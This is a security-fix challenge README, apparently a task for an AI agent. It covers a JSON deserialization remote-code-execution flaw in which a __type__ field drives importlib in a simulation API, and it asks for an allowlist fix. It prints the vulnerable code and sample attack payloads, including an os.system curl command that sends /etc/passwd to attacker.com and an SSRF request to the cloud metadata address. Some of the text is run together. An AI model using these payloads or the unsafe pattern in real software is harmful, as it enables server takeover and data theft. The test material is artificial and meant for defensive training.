
CVE-2026-25632 — Fix Unsafe JSON Deserialization Leading to Remote Code Execution
Inspired by a real 2026 vulnerability (CVSS 10.0, actively exploited)
Based on: CVE-2026-25632 — Remote Code Execution via unsafe__type__-driven JSON deserialization discovered in the EPyT-Flow water-network simulation REST API and publicly disclosed in early 2026.
NovaSim is a Python-based simulation framework that exposes a REST API for remote control of scientific experiments. To support flexible object serialization across heterogeneous client environments, a developer added a custom JSON loader that detects a special __type__ field and dynamically imports and instantiates the referenced Python class using importlib.
This pattern was disclosed as a critical Remote Code Execution (RCE) vulnerability in a major open-source project in 2026. Security researchers identified that an attacker who controls the JSON body can construct a gadget chain targeting any callable in the Python standard library — including subprocess.Popen, os.system, , and 25+ SSRF gadgets — achieving full server compromise with a single HTTP request, .
evalYou are given the vulnerable version of src/solution.py, which contains the exact unsafe deserialization pattern.
Your goal: Fix the vulnerability in DeserializationService.load_from_json() so that:
SecurityError.__type__ field no longer enables arbitrary module import or class instantiation.__type__ JSON) continues to load normally.# DANGEROUS — CVE-2026-25632 pattern
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # attacker-controlled!
cls = getattr(module, class_name) # attacker-controlled!
return cls(**data.get("args", {})) # arbitrary code execution!
An attacker sends a POST request with a crafted JSON body:
Vector 1 — Direct RCE via subprocess:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
Vector 2 — RCE via os.system:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
Vector 3 — SSRF via urllib.request.urlopen:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
Security researchers documented 12 direct RCE gadgets and 25 SSRF gadgets reachable this way through the Python standard library alone.
The following, and only the following, simulation object types may be deserialized via __type__:
__type__ value | Python class |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
Any other __type__ value MUST raise a SecurityError immediately, before any import or instantiation occurs.
JSON objects submitted to DeserializationService.load_from_json(raw: str) -> dict | SimObject
__type__ key: return dict (parsed JSON).__type__: return the corresponding simulation object instance.__type__: raise SecurityError with the message: "Blocked unsafe type: <type_value>".ValueError with message: "Invalid JSON payload".| Scenario | Expected behavior |
|---|---|
__type__ absent | Parse and return as plain dict |
__type__ = "simulation.Sensor" | Instantiate Sensor(**args) |
__type__ = "subprocess.Popen" | Raise SecurityError |
__type__ = "os.system" | Raise SecurityError |
__type__ = "__builtins__.eval" | Raise SecurityError |
__type__ = "" (empty string) | Raise SecurityError |
__type__ = a list or integer | Raise SecurityError (invalid type field) |
| Malformed JSON string | Raise ValueError |
| Extra unknown fields in valid object | Accepted, passed as kwargs to constructor |
challenge-cve-2026-25632/
├── README.md <- You are here
├── Dockerfile <- Deterministic build environment
├── src/
│ ├── solution.py <- BUGGY starter code (your target)
│ ├── solution_fixed.py <- Reference solution (hidden from agent)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Allowlisted simulation model classes
└── tests/
└── test_solution.py <- Test harness (FAILS on buggy, PASSES on fixed)
The fix must pass ALL of the following: